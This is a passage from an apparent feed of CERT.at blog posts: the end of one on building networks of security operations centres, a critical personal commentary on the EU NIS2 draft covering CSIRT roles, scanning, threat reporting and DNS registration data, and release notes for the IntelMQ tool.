during a meeting, then the willingness to have an open sharing decreases significantly. This puts the limit at about 15 to 20 participants. If lower levels of cooperation are acceptable, then group sizes can be larger.</p> <h3 class="block">Corollary: Group Splits</h3> <p class="block">If a group becomes too big, then there is a chance that core members will split off and create a new, smaller forum for more intense collaboration.</p> <p class="block">This is similar to what happens with groups of animals: if one pack becomes too big to be viable, it will split up.</p> <h2 class="block">Adding members</h2> <p class="block">Organic growth from within the group works best.</p> <p class="block">An external membership process (as in the CNW, where existing members have no say over the inclusion of a new team from another EU Member State) can be very detrimental to the trust inside the group.</p> <h1 class="block">Motivation</h1> <h2 class="block">Cost</h2> <p class="block">Any level of participation in a network of peers is not free of costs. Nobody in this business has spare time for anything. Even just passive participation via the odd telephone conference or even just reading emails costs time and is thus not free.</p> <p class="block">Active participation, be it travelling to conferences, working on common projects, manually forwarding information, or setting up Machine to Machine (M2M) communication can carry significant costs. These must not exceed the benefits from the participation in the network.</p> <h3 class="block">Corollary: Separate tooling is detrimental to sharing</h3> <p class="block">Sharing information into a network must be as low-friction as possible. If an analyst has to re-enter information about an incident in a different interface to share the data, then the chance is high that it will not happen. Optimally, the sharing option is built into the core systems and the overhead of sharing is just selecting with whom.</p> <h2 class="block">Benefits</h2> <p class="block">The flip side is often not so easy to quantify: what are the concrete benefits of collaboration? If the bean-counters ask to justify the cost, there should be clear business reasons why the costs are worth it. &ldquo;Interesting discussions&rdquo; and &ldquo;being a good corporate citizen&rdquo; is not a long-term sustainable motivation.</p> <p class="block">It must be as clear as possible what value each participant will get from such a network.</p> <p class="block">Beware of freeloaders and the &ldquo;<a href="https://en.wikipedia.org/wiki/Tragedy_of_the_commons">Tragedy of the Commons</a>&rdquo; effect.</p> <h2 class="block">Peers</h2> <p class="block">Networks work best between organisations that are comparable in size, their jobs, and their position in the market. Their technology and informational needs should be roughly the same. They should face similar tasks and challenges. For example, the SOC of VW and the SOC of Renault should have roughly the same job and thus an exchange of experiences and data might be mutually beneficial.</p> <h2 class="block">Vendor/customer mix can kill networks</h2> <p class="block">If two members of a network are actually in a vendor/customer relationship in terms of cyber security, then this is a strong detriment to collaboration. Even just a potential sale is tricky: if one member is describing his problem, then someone else should not be in the position to offer his own commercial product of service to address that problem.</p> <p class="block">I have seen this work only if the representative of the vendor can clearly differentiate between his role as network partner and his pre-sales job. This is the exception, not the rule.</p> <h2 class="block">Competition (1)</h2> <p class="block">Ideally, the member of the network should be in no competition to one another. Example: the security team of Vienna&rsquo;s city hospitals and the equivalent team of the Berlin Charit&eacute; are a best case: their hosting organisations are working in the same sector, but there is absolutely no competition for customers between those two.</p> <p class="block">If the hosting organisations are actually competing with each other (see the VW vs. Renault example from above, or different banks), then a cooperation on IT security is not a given. Nevertheless, it is also not impossible, as competitors are often collaborating with respect to lobbying, standardization or interconnection. One positive example I have seen are the Austrian banks, who are cooperating about e-banking security based on the premise that the customers will not differentiate between &ldquo;e-banking at Bank X is insecure&rdquo; and &ldquo;e-banking is insecure&rdquo;.</p> <h2 class="block">Competition (2)</h2> <p class="block">Even trickier is the case of SOCs not just protecting the infrastructure of their respective hosting organisation, but also offering their services on a commercial basis to any customer (&ldquo;SOC outsourcing&rdquo;). Anything one SOC shares with the network then potentially helps a direct competitor. Example: both Deloitte and Cap Gemini offer SOC outsourcing and Threat Intel reporting. Their knowledge base is their competitive advantage and why should they share this freely with a competitor when they are selling the same information to a customer?</p> <p class="block">Such constellations are extremely difficult, but not impossible to manage.</p> <p class="block">The trick to deal with competition in such networks is to move the collaboration to a purely operational / technical layer. These people are used to deal with their peers in a productive way.</p> <h2 class="block">Alignment of interest</h2> <p class="block">This all boils down to</p> <ul> <li class="block">Is it a good commercial decision for my SOC to participate in the network?</li> <li class="block">Is it a good commercial decision to share data into the network?</li> </ul> <h2 class="block">Resources</h2> <p class="block">All members must make the clear management decision to participate in such network and must allocate human power to it. In some way, such networks operate a bit like amateur sport clubs or open-source projects: they thrive based on the voluntary work done by their members. I have seen too many cases where such networks fail simply because members lost interest and did not invest time and effort in running them effectively.</p> <h1 class="block">Running a network</h1> <h2 class="block">Secretariat</h2> <p class="block">While not strictly necessary, a paid back-office increases the chances of success significantly. Someone has to organize meetings, write minutes, keeps tracks on memberships, produces reports, and provides an external point of contact.</p> <p class="block">Doing this on a voluntary basis might work for very small and static networks, where a round-robin chair role can succeed.</p> <h2 class="block">Connecting people</h2> <p class="block">Bringing people together is the basis foundation of a collaboration network. Only in the case where the network is only the distribution of information from a handful of central sources to all members (i.e., a one-way information flow), then this might not be needed. This can be done by (in order of importance)</p> <ul> <li class="block">Physical meetings (conferences, workshops, &hellip;)</li> <li class="block">Continuous low-friction instant messaging</li> <li class="block">Mailing-lists</li> <li class="block">Web-Forums</li> </ul> <h2 style="text-align: left;">Generic central tooling</h2> <p class="block">Any network, regardless of topic, needs a few central tooling components:</p> <ul> <li class="block">A directory of members (preferably with self-service editing)</li> <li class="block">A file repository</li> <li class="block">An administrative mailing-list</li> <li class="block">A topical mailing-list</li> <li class="block">An instant messaging facility</li> </ul> <p class="block">A decent Identity and Access management covering all these tools is recommended (but not strictly necessary in the first iteration). The toolset created for the CSIRTs Network (<a href="https://github.com/melicertes/docs?linkId=191595424">MeliCERTes 2</a>) can help here.</p> <h1 class="block">Exchange of Information</h1> <p class="block">In the end, the main motivation of such network is information sharing with the intention of making members more effective in their core task. Here are some thoughts on that aspect:</p> <h2 class="block">Compatible levels of Maturity</h2> <p class="block">If members are at very different levels of technological and organisational maturity, then any information exchange is of limited value. A common baseline is helpful.</p> <h2 class="block">Human to Human</h2> <p class="block">This is the easiest information exchange to get going, and some topics really need to be covered on the human layer: people can talk about experiences, about cases, about what works and what does not.</p> <p class="block">It is also possible to exchange Cyber Threat Intelligence (CTI) between humans: the typical write-up of a detected APT campaign, including all the Indicators (IoCs) found during the incident response, is exactly that.</p> <p class="block">This sounds easy, but is costly in terms of human time. On the receiving side, the SOC needs to operationalize the information contained to make the automated systems detect a similar campaign in the local constituency.</p> <h2 class="block">Information Management</h2> <p class="block">The way a SOC is gathering, storing, correlating and de-duplicating the CTI that is powering its detection capability is a core element in the SOC internal workflow. Its maturity in this respect drives the possibilities of collaboration on the topic of CTI.</p> <p class="block">One (not uncontroversial) theory on this topic is the &ldquo;<a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain</a>&rdquo; concept from David Bianco, where he describes the levels of abstractions in CTI. The lower levels are easy for SIEMs to detect, but also trivial for the threat actor to change. The challenge for SOCs is to operate at a higher level than what the threat actors is prepared to change frequently.</p> <h2 class="block">CTI M2M</h2> <p class="block">In theory, SOCs should be able to cross-connect their CTI systems to profit from each other&rsquo;s learnings and thus increase the overall detection capability of SOC Network. Regrettably, this is non-trivial on multiple fronts:</p> <h3 class="block">Data protection / customer privacy</h3> <p class="block">They must be ensure that no information about the customer where the CTI was found during IR, leaks out. Sometimes this is easy and trivial sometimes it is not. Thus, unless the SOC is very mature at entering CTI into their system, people will want to check manually what is being shared.</p> <h3 class="block">Data licencing</h3> <p class="block">Many SOCs buy CTI data from commercial sources. Such data needs to be excluded from automatic data sharing.</p> <h3 class="block">Data compatibility</h3> <p class="block">While there are a number of standards for CTI data exchange (e.g., STIXX/TAXII, MISP or Sigma rules), this is far from being a settled topic. Especially if you want to move up in the pyramid of pain.</p> <h2 class="block">Sharing tools</h2> <p class="block">In addition to sharing information, it is also possible that members of the network share the tools they have written to perform various aspects of a SOCs job.</p>Fri, 07 Jul 2023 15:37:15 GMT+0100https://www.cert.at/en/blog/2023/7/a-network-of-socsCERT.at2023-07-07T15:37:15Zhttps://www.cert.at/en/blog/2021/11/an-update-on-the-state-of-the-nis2-draft<p class="block">This is a TLP:WHITE summary of my presentation at the 15th CSIRTs Network meeting in Ljubljana on November 11th. This is not a complete review of the current state of the NIS2 discussions.</p> <p class="block">Overall, I think the council should abandon the idea of finishing the text this year. There is too much in flux and we all lost sense if the text is still consistent. I recommend publishing a new consolidated draft and get a new round of public comments. We reached the limit of high-speed tinkering with the text.</p> <p class="block">This blog post may sound negative. That is selection bias, as I primarily write about the things that need changing, not the other parts with which I agree.</p> <p class="block"><strong>Update 2021-11-18:</strong> More text on scanning and some links added.</p> <h1 class="block">References</h1> <ul> <li>NIS2 <ul> <li><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=COM:2020:823:FIN">Original Proposal</a></li> <li>Presidency draft of Oct 26. (limite, thus no link. <strong>EDIT:</strong> The <a href="https://data.consilium.europa.eu/doc/document/ST-14337-2021-INIT/en/pdf">final text was published 2021-12-03</a>)</li> <li><a href="https://www.europarl.europa.eu/meetdocs/2014_2019/plmrep/COMMITTEES/ITRE/PR/2021/10-28/1230231EN.pdf">EP Position from ITRE</a></li> </ul> </li> <li>My blog posts <ul> <li>On <a href="https://cert.at/en/blog/2018/8/blog-20180731155524-2252">National CSIRTs</a></li> <li>On the <a href="https://cert.at/en/blog/2021/1/nis2-recitals-feedback">NIS2 Recitals</a></li> <li>On the <a href="https://cert.at/en/blog/2021/3/nis2-proposal-first-feedback-on-the-normative-text">normative text</a></li> </ul> </li> </ul> <h1>Disclaimer</h1> <p>These are my personal opinions; this is <strong>not</strong> the official position of Austria. I talk a lot to our representative in the Horizontal Working Party for Cyber Issue. He is the diplomatic one; I prefer to call things as I see them.</p> <h1>"National CSIRT"</h1> <p>Historically, the term "national CSIRT" had a clear meaning: The Default CSIRT of a country, the main liaison point for international relations and the primary info-sharing hub inside the country. This can only be a coordinating / advising CSIRT, it usually has no enforcing powers. Its constituency is the whole country (however that is defined in cyberspace).</p> <p>NIS1 botched this</p> <ul> <li>That role is never even implied (The CSIRTs cover only the NIS sectors!)</li> <li>An alternative meaning is not defined</li> <li>But the term is used in a few places</li> <li>After long discussions, the CSIRTs Network kind of agreed that all CSIRTs that are accredited according to the NIS transpositions and that cover at least a NIS sector, are "national CSIRTs"</li> <li>The wording caused us many headaches during the ToR/RoP update of 2018.</li> </ul> <p>NIS2 does not fix this deficiency in the text.</p> <ul> <li>It still contains no definition</li> <li>The word is used in Rec. (13), (25), Art. 9, 13</li> <li>We managed to fix some of them in the current draft. See below.</li> </ul> <h2>Two problems: Gaps in the constituency + unclear usage</h2> <p>"CSIRTs that cover the NIS sectors" turned out to be a problem as a relevant part of the country is not covered by a CSIRT. Our colleagues in the NCSC-NL had serious problems because they are operating for a strictly defined constituency. Whenever they learn of some danger to other Dutch entities, they are forced to sit on their hands instead of reaching out and helping. "Not in their constituency -&gt; No rights to process data"</p> <p>Austria solved this in the national transposition:</p> <p style="padding-left: 30px;"><em><strong>&sect;14 NISG: "(6)</strong> CSIRTs can perform the tasks pursuant to para 2 subparas 3 to 5 also with regard to other entities or persons if such entities or persons are affected by a risk or incident in their network and information systems." </em></p> <h2>Suggestion</h2> <ul> <li>Clean up the language: Use "NIS CSIRTs" for the teams that are accredited according to Article 9/10</li> <li>There is value in actually defining the role of a real national CSIRT. <ul> <li>This can be done analogous to Art 6 (1): "<em>Each Member State shall designate one of its CSIRTs as referred to in Article 9 as a coordinator for the purpose of coordinated vulnerability disclosure.</em>"</li> <li>Define the tasks for the national CSIRT: act as a coordinating CSIRT for the whole country.</li> </ul> </li> <li>Decide for all occurrences of "national CSIRT" in the text what definition should actually apply: "NIS CSIRT" or the "national CSIRT".</li> <li>Be careful about international collaboration. What are the corresponding teams in third countries? (Yes, we need that collaboration.)</li> </ul> <h1>Definition of CSIRTs (Article 9)</h1> <p>On the Commission and Council side, I see no real problem except for the missing national scope (see above). The Parliament went a bit overboard:</p> <p style="padding-left: 30px;"><em>"Member States shall ensure the possibility of effective, efficient and secure information exchange on <strong>all classification levels</strong> between their own CSIRTs and CSIRTs from third countries on the same classification level." </em></p> <p>With the broad scope of NIS2 and sectoral CSIRTs operating with small teams, this is completely unworkable. For coordinating CSIRTs, this is also unneccessary.</p> <h1>Requirements and Tasks (Article 10)</h1> <p style="padding-left: 30px;"><em><strong>Art. 10(1)(d)</strong> "CSIRTs shall be adequately staffed to ensure availability at all times;"</em></p> <p>What does this mean? A manned team 24x7 on-site or just one analyst on on-call duty? The former proved to be unworkable (just ask NCSC-NL), the latter makes a lot more sense.</p> <p style="padding-left: 30px;"><em><strong>Art. 10(2)(a)</strong> monitoring cyber threats, vulnerabilities and incidents at national level; and (e) [proactive scanning, language in flux]</em></p> <p>We need clearer language on scanning for vulnerabilities. As suitable definition would be e.g.:</p> <p style="padding-left: 30px;"><em>"(e) conducting, upon identified operational needs, a proactive scanning of the network and information systems of CSIRT constituency area, including a member state-wide scan, to detect vulnerabilities with potential significant impact, provided [text on safeguards]. An essential or important entity could request a specific scan of their own resources from a CSIRT serving the entity constituency. " </em></p> <p><strong>Update 2021-11-18:</strong> after a bit more reflection, this is my position on scanning:</p> <p>For any scanning done on request of the entity we don't need any safety clauses like "no intrusions", "no access", "no negative impact", as these scans basically amount to a light form of penetration test that are done frequently by commercial consulting companies. Such a service usually is done after a "permission to attack" document was signed, which clearly lays out the limits and risks of the activity.</p> <p>I don't think we need a specific clause in the directive on this. From my PoV, adding something like "on request by a constituent, a CSIRT can assist with proactive security measures" to the list of Article 10 (2) might be helpful. It doesn't have to be scans, it can be a review of a policy/design, some generic consulting, ...It needs to be a "may" clause, because this is open-ended and can consume boundless resources at the CSIRT.</p> <p>Scanning your constituency for vulnerabilities is a valuable tool for a national CSIRT. We do this every <a href="https://cert.at/de/services/statistic-survey/">now and then</a>.</p> <p>Important point to note here: There is little point in doing such scans on demand. We do this because organisations might have missed to install an update. If they have e.g. "ProxyShell" in focus, they can just look at their infrastructure, there is no need to ask the CSIRT for a scan.</p> <p>So these scans <strong>need</strong> a legal basis. But now the increased Scope of NIS2 is biting us:</p> <ul> <li>the number of entities is rising by up to two orders of magnitude</li> <li>the CSIRTs don't know who is covered in advance It is thus <strong>really</strong> hard for a national CSIRT to restrict scanning activities to the "important" and "essential" entities.</li> </ul> <p>What we really need here is the license to scan the whole country.</p> <p><strong>(end update)</strong></p> <p>The international cooperation, as defined in the Presidency draft is very welcome.</p> <p>Again, the Parliament went overboard:</p> <ul> <li style="padding-left: 30px;">1a. CSIRTs shall develop at least the following technical capabilities: <ul> <li style="padding-left: 30px;">(a) the ability to conduct real-time or near-real-time monitoring of networks and information systems, and anomaly detection;</li> <li style="padding-left: 30px;">(b) the ability to support intrusion prevention and detection;</li> <li style="padding-left: 30px;">(c) the ability to collect and conduct complex forensic data analysis, and to reverse engineer cyber threats;</li> <li style="padding-left: 30px;">(d) the ability to filter malign traffic;</li> <li style="padding-left: 30px;">(e) the ability to enforce strong authentication and access privileges and controls; and</li> <li style="padding-left: 30px;">(f) the ability to analyse cyber threats</li> </ul> </li> </ul> <p>Phew. "Ability to filter malign traffic" for a real national CSIRT? <strong>That is very thin ice.</strong> "Enforce" anything? That might work for a GovCERT, but never ever for a coordinating sectoral one.</p> <h1>CSIRTs Network (Article 13)</h1> <p style="padding-left: 30px;"><em><strong>Art. 13(1)</strong> In order to contribute to the development of confidence and trust and to promote swift and effective operational cooperation among Member States, a network of the national CSIRTs is established.</em></p> <p>Drop the "national" here, please.</p> <p style="padding-left: 30px;"><em><strong>Art. 13(2)</strong> The CSIRTs network shall be composed of representatives of the Member States' CSIRTs and CERT-EU.</em></p> <p>Representatives? This is not the Cooperation Group where "composed of representatives of Member States" makes sense. The CNW is more than just the meeting of the representatives three times per year. So drop "representatives" here. Our teams are the members, not just the liaison officers. We talked about the need for a broad participation of the teams at the meeting in Ljubljana.</p> <p>Which CSIRTs? NIS (see Art. 9), the national one, or any CSIRT? I think a reference to Article 9 is the correct answer and is what we use right now in the CNW ToR.</p> <p>The Presidency changes (ba) [Sharing Publications &amp; Recommendations] and (bb) [Sharing Tools] are good.</p> <h1>Scope of NIS2</h1> <p>The scope of the NIS2 was a major part of the discussions in the council. I don't worry about the details regarding important vs. essential entities, I worry about:</p> <ul> <li>Scale: the pure number of entities. Probably a factor 20 to 50 over the NIS1 numbers</li> <li>Our tasks, e.g. EP: "<em>(c) responding to incidents and providing assistance to the entities involved;</em>"</li> </ul> <p>If you see the CSIRTs as hands-on entities that are involved in on-site incident response in their constituency, then this role will not scale with the proposed numbers of organization. I see little chance that the NIS CSIRTs will cover all the Incident Response capability that all the important/essential entities will need, as this would close to monopolize that job in an EU member state. Thus, the logical conclusion is to reduce the hands-on part of CSIRTs as the size of the constituency increases. The extreme point is the role of the national CSIRT, which is purely a coordination and info-sharing function.</p> <h1>Voluntary Reports vs. CVD</h1> <p>I still think that the voluntary reporting is more important than the mandatory one. We are way too new to the whole NIS thingy to be able to say how this will really work out. The identification of all OeS just finished here. Give it time to develop.</p> <p>Be careful when transposing: Reports can be about other people's systems, which is a special case of Responsible Disclosure. Example: "Dear CSIRT, I spotted the following bug in the website of company X, please help getting this fixed." We messed up in Austria on our NIS1 transposition, our law says "<em>(2) Entities which have not been identified as operators of essential [...] can submit notifications of risks, incidents and security incidents <strong>concerning them</strong> to the competent CSIRT [...]</em>". We should have left out the two words "concerning them".</p> <p>So what really is the difference between the coordinated vulnerability disclosure (CVD) and a voluntary report on a weakness in an online service? In first case, the bug is in the software itself, whereas in the latter the mistakes might also have been in the configuration or deployment of the software. As we are moving from the distribution of software via physical media in shrink-wrapped boxed to online distribution (including automatic updates) and Software-as-a-Service (Google Docs, Salesforce, (parts of) Office 365, so is the process of dealing with vulnerabilities changing. The world of software licensing is also making this switch, see e.g. the move from <a href="https://www.gnu.org/licenses/old-licenses/gpl-2.0.html">GPL2</a> to the <a href="https://en.wikipedia.org/wiki/GNU_Affero_General_Public_License">GNU AGPLv3</a>.</p> <p>I really think we need to re-examine what this evolution of software / services implies for the distinct NIS2 concepts of coordinated vulnerability disclosure, voluntary reporting, network scanning (Article 10(2)(e)) and the job of a truly national CSIRT.</p> <h1>Threats</h1> <p>The idea here is sound: do not just report actual outages, but also report when something bad is really close to happening. We had such a case recently in Austria: an OeS discovered an APT like intrusion into their systems. It took them about half a year to finish the incident response process to clean their network. The attacker caused no outage at all. Thus, according to our NIS law, the mandatory reporting requirement never triggered. (In this case, a voluntary report was submitted.) Nevertheless, it felt wrong that having someone inside an OeS with the capability to cause mayhem is not enough to trigger a mandatory report. Based on that thinking, it makes sense that the NIS2 draft also wants reports on threats:</p> <p style="padding-left: 30px;"><em><strong>Art. 20(2)</strong> Member States shall ensure that essential and important entities notify, without undue delay, the competent authorities or the CSIRT of any significant cyber threat that those entities identify that could have potentially resulted in a significant incident.</em></p> <p>If you trace the citations, you arrive at the following definition: <em>"cyber threat" means any potential circumstance, event or action that could damage, disrupt or otherwise adversely impact network and information systems, the users of such systems and other persons;</em></p> <p>Whoopsie. This is way too generic. Ransomware is a "significant cyber threat" to basically anyone running IT systems. So is the discovery of a 0-day vulnerability in an Internet-facing service. Anyone who isn't aware of a "significant cyber threat" to his/her own organization messed up their risk assessment. It looks to me like the drafters hoped that adding "significant" would be enough, but in my opinion, this does not suffice. "significant" is doing too much heavy lifting here.</p> <p>To be on the safe side, entities need to report their risk assessment (e.g. done as part of their ISO 27001 certification) to the CSIRT. Additionally, this definition triggers on any non-trivial change of the IT setup: those have the nasty property to cause outages every now and then. Yes, we CSIRTs certainly want to see Cc of <a href="https://wiki.en.it-processmaps.com/index.php/Change_Management">non-standard changes according to ITIL processes</a> in our constituency. Not really. And then there are the patch cycles: hardly any Microsoft patch Tuesday fails to deliver a critical update. "Significant Cyber Threat" until patched? Oh yes. And Art. 20(2) triggers and the CSIRT should get a report from all Microsoft customers in the constituency.</p> <p>The language needs more precision here.</p> <h1>Domain Name System Scope</h1> <p>The points on whois access are good.</p> <p>Looking at the provisioning and the resolution side makes a lot of sense (from Presidency draft).</p> <p>But the Scope?</p> <ul> <li>Root Nameservers? That is a highly political minefield. Demanding security precautions from them is sensible, but enforcement is not possible for most of them. The most I can envision is a reference to some global standard (optimally set by ICANN) and delegate oversight to the respective national bodies from where the operators' headquarters are.</li> <li>TLDs? European ccTLDs are easy, but what about .com? nGTLDs? ...</li> <li>Are we aiming for a global enforcement like with the GDPR? If yes, this needs a very public discussion.</li> <li>What about other public suffixes? E.g., gv.at, gov.ee, com.es, ...</li> </ul> <h1>DNS Registration Data (Article 23)</h1> <p style="padding-left: 30px;"><em>1. For the purpose of contributing to the security, stability and resilience of the DNS, Member States shall ensure that TLD name registries and the entities providing domain name registration services for the TLD shall collect and maintain accurate and complete domain name registration data in a dedicated database facility with due diligence in accordance with Union data protection law as regards data which are personal data.</em></p> <p>This statement on the purpose is either a bald-faced lie, the result of ignorance about the DNS, or a sleigh of hands in order to insert someone's pet policy objective into the NIS2 directive. Or all three at once.</p> <p><strong>Someone has an agenda. And it is not the security, stability and resilience of the DNS.</strong> It may be phishing, spamming, business email compromise (BECs) or other cyber-crime topics. The DNS itself doesn't care about the correctness of domain ownership data just as roads don't care about license plates of cars.</p> <p>The Cooperation Group tasked ENISA to write a report on "DNS Stability" declaring that incorrect registration data is the most pressing issue for the functioning of the DNS. <strong>It is not.</strong> According to the last draft I have seen, the document only quotes a Centr doc on current practices of some TLDs. I worry that that will morph into a hard requirement.</p> <p>The impact of incorrect whois data is far away from the goals of the NIS directive. The E-Commerce directive would be a much better fit for the topic. <strong>We've been hijacked.</strong> This reminds me of 1995, when the EU passed telecom surveillance policy via the fishery council.</p> <p>This is utterly ridiculous.</p> <p>The scope, overall effect and the un-intended side effects have not been thought through at all.</p> <h2>Scope?</h2> <p>Just as with the basic scope of NIS2, it is not clear which registries (and the associated registrars/resellers) are covered by this article. Is this by home country? By target audience? Is this supposed to be like the GDPR and establish a global requirement for global services?</p> <p>In the case of .com, this has another effect. It is a "thin registry", meaning that the registry itself does not contain any information on domain owners. It only stores NS, DS, glue records, the sponsoring registrar and some metadata. What do the requirements of NIS2 mean for such a system? Either change to a thick model, or include the distributed whois databases of all .com registrars.</p> <h2>How do you guarantee "accurate"?</h2> <p>Even if a registry wants to implement this, how is it going to do that? eID doesn't even really work across the EU. This is a global market. How can one verify a domain owner from other continents?</p> <p>This might somehow work for certain TLDs, which have historically targeted a very specific set of customers, e.g. a few select ccTLDs (.dk, .fi, ...) or sponsored gTLDs (e.g., .aero, .travel). The vast majority of TLDs do not restrict the ownership of domains at all.</p> <p>Can the registries completely push this requirement on registrars? How big is the scope there? According to the <a href="https://www.icann.org/en/accredited-registrars">ICANN website</a>, we are talking about 2497 ICANN accredited registrars. Not all of them target the EU market. Are they in scope, because .com has a big business in the EU and a thin registry?</p> <h2>Existing domain-owners?</h2> <p><a href="https://stats.centr.org/stats/global">According to Centr</a>, there are currently 69 Million ccTLD domains in Europe; the global market is around 317 Million domains.</p> <p>How are the registries supposed to verify those? What is the transition/grace period? Has anybody done a cost estimate? Isn't there a legal requirement to do this when you propose a legislation? Ok, there is a "LEGISLATIVE FINANCIAL STATEMENT", let's have a look: ... impact on DG CNECT ... EU Budget ... ENISA. And that's it.</p> <p>Sheesh.</p> <p>If the commission thinks that this verification is only for new domains, then it should bloody well write it into the directive. If it thinks that this could be done during the domain renewal process, then this reveals yet another level of ignorance about the European domain market.</p> <h2>Market effects?</h2> <p>All this will have a major effect on prices and friction, and thus the competitiveness of the <a href="https://www.sidn.nl/en/news-and-blogs/nis2-could-seriously-undermine-european-registrars-global-competitiveness">EU domains in a global market</a>.</p> <h2>Why Domains?</h2> <p>Domains are just one form of online names that are delegated to customers by some sort of registry. We have just as much trouble with Social Media accounts, Cloud service accounts (Cloudflare is very popular by miscreants right now), Webspace, IP-address ownership, email addresses, ...</p> <p>The common denominator with regard to ransomware (the top threat in 2021 according to ENISAs threat landscape report) are crypto currencies. Not invalid domain registrations.</p> <p>The legislators are barking up the wrong tree. Dealing with network abuse is certainly an interesting topic. This needs a fine balance of minimal friction in business versus restrictions to deter and/or stop abuse. This needs the threading of a fine needle. Not a broadsword to one singular network resource.</p> <h2>Alternatives?</h2> <p>First, we need a real problem statement. You cannot develop policy without first clearly laying out what problem a legislation is trying to mitigate (Case in point: the <a href="https://www.consilium.europa.eu/en/press/press-releases/2021/10/19/cybersecurity-council-adopts-conclusions-on-exploring-the-potential-of-a-joint-cyber-unit/">JCU</a>). Then you can start to think of remedies and start drafting laws.</p> <p>This is how I see it:</p> <ul> <li>We need to be able to deal quickly with network abuse</li> <li>That needs clear guidance on who can act under what circumstances against a network resource</li> <li>Right now, the Austrian law enforcement does not have the right tools</li> <li>Whether the owner of that resource has been properly verified must matter when dealing with a misuse of that resource</li> <li>There are examples. E.g. how CH reacts to domain abuse</li> </ul> <p>Nevertheless: this is not a topic for the NIS directive.</p> <p>See also the <a href="https://www.internetsociety.org/blog/2021/11/nis2-security-resiliency-and-dns-server-infrastructure/">Blog post from the Internet Society</a>.</p> <h1>Encryption (Recital 54)</h1> <p>For god's sake. Don't start to re-litigate the crypto wars of the 90's. It's over. That horse is dead.</p> <p>The EP got it. "<em>However, this should not lead to any efforts to weaken end-to-end encryption, which is a critical technology for effective data protection and privacy</em>." is the polite way of saying that the preceding sentence on "reconciling encryption with LE needs" is bullshit.</p> <p>I have <a href="https://www.cert.at/de/blog/2017/8/blog-20170731130131-2076">written at length on this topic</a> some years ago (in German). See also <a href="https://www.stiftung-nv.de/en/publication/encryption-debate-germany-2021-update">here</a>.</p>Tue, 16 Nov 2021 12:07:58 GMT+0100https://www.cert.at/en/blog/2021/11/an-update-on-the-state-of-the-nis2-draftCERT.at2021-11-16T12:07:58Zhttps://www.cert.at/en/blog/2021/9/intelmq-302-improves-the-performance-of-high-load-data-collection<p class="block">Shortly after the 3.0.1 release, <a title=" Slow performance on latest release in Docker (#2098)" href="https://github.com/certtools/intelmq/issues/2098">an IntelMQ user reported</a> general performance issues, which we investigated over the following days. We identified two causes for them at the heart of IntelMQ: As it turned out, they just affected the data feed-collection components "collectors" with high load (streaming data or just a few big reports were not a problem) or those which use threading (receiving <a title="API collector" href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#api">API collector</a> and <a title="STOMP collector" href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#stomp">STOMP collector</a>).</p> <p class="block">Due to the nature of these bugs they were imminent only in bigger and/or more complex setups. Both issues stemmed from complex overhauls in IntelMQ's core in <a href="https://www.cert.at/en/news/blog/intelmq-30-domain-based-workflow-ieps">IntelMQ 3.0</a>.</p> <p class="block">The new version 3.0.2 was released last Friday, September 10th, and is available on <a href="https://github.com/certtools/intelmq/releases/3.0.2">GitHub</a>, <a href="https://pypi.org/project/intelmq/">PyPI</a>, in the <a href="https://intelmq.readthedocs.io/en/maintenance/user/installation.html#native-packages">deb/rpm repositories</a> and on <a href="https://hub.docker.com/r/certat/intelmq-full">DockerHub</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our 2020-AT-IA-0254 project, which also support our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="" width="100%" /></p>Mon, 13 Sep 2021 08:02:03 GMT+0100https://www.cert.at/en/blog/2021/9/intelmq-302-improves-the-performance-of-high-load-data-collectionCERT.at2021-09-13T08:02:03Zhttps://www.cert.at/en/blog/2021/9/intelmq-301-release<p class="block">During the development of the next feature release IntelMQ 3.1.0, we corrected some issues that were found in the IntelMQ 3.0.0 release together with the IntelMQ community. We release new versions of <a href="https://intelmq.readthedocs.io/">IntelMQ</a>, the <a href="https://intelmq.readthedocs.io/en/maintenance/user/intelmq-api.html">IntelMQ API</a> and the graphical user-interface <a href="https://intelmq.readthedocs.io/en/maintenance/user/intelmq-manager.html">IntelMQ Manager</a>. The upgrade-instructions can be found in the <a href="https://intelmq.readthedocs.io/en/maintenance/user/upgrade.html">documentation</a>. An important upgrade hint is also in the <a href="https://lists.cert.at/pipermail/intelmq-users/2021-September/000380.html">release announcement</a>.</p> <h2>Summary of changes</h2> <ul> <li class="block">Several fixes related to IEP01 implementation (change of the configuration file format and refactoring of internal parameter handling)</li> <li class="block">The feed <em>MalwareDomains</em> is obsolete and was removed</li> <li class="block">Numerous fixes to the ShadowServer-Parser, including support for these new reports:<br /> <ul> <li class="block"><a href="https://www.shadowserver.org/what-we-do/network-reporting/vulnerable-smtp-report/">Vulnerable SMTP Server</a></li> <li class="block"><a href="https://www.shadowserver.org/what-we-do/network-reporting/microsoft-sinkhole-events-report/">Microsoft Sinkhole Events Report</a> &amp; <a href="https://www.shadowserver.org/what-we-do/network-reporting/microsoft-sinkhole-http-events-report/">Microsoft Sinkhole HTTP Events Report</a></li> <li class="block"><a href="https://www.shadowserver.org/what-we-do/network-reporting/honeypot-http-scanner-events/">Honeypot HTTP Scan</a></li> </ul> </li> <li class="block">Heavy refactoring of IntelMQ-Manager's JavaScript parts to fix errors and usability issues.</li> <li class="block">Various smaller fixes.</li> </ul> <p>A detailed list of all changes can be read in the release notes:</p> <ul> <li class="block"><a href="https://github.com/certtools/intelmq/releases/tag/3.0.1">IntelMQ 3.0.1</a></li> <li class="block"><a href="https://github.com/certtools/intelmq-api/releases/tag/3.0.1">IntelMQ API 3.0.1</a></li> <li class="block"><a href="https://github.com/certtools/intelmq-manager/releases/tag/3.0.1">IntelMQ Manager 3.0.1</a></li> </ul> <p class="block">The full documentation can be found at <a href="https://intelmq.readthedocs.io/">intelmq.readthedocs.io</a>.</p> <h2>Acknowledgements</h2> <p class="block">Thanks to all the contributors (in alphabetic order):</p> <ul> <li class="block">abr4xc</li> <li class="block">Alex Kaplan</li> <li class="block">Birger Schacht (CERT.at)</li> <li class="block">Mikk Margus M&ouml;ll (CERT.ee)</li> <li class="block">Sebastian Wagner (CERT.at)</li> <li class="block">Sebastian Waldbauer (CERT.at)</li> </ul> <p class="block">Every contribution is very appreciated. Feel free to <a 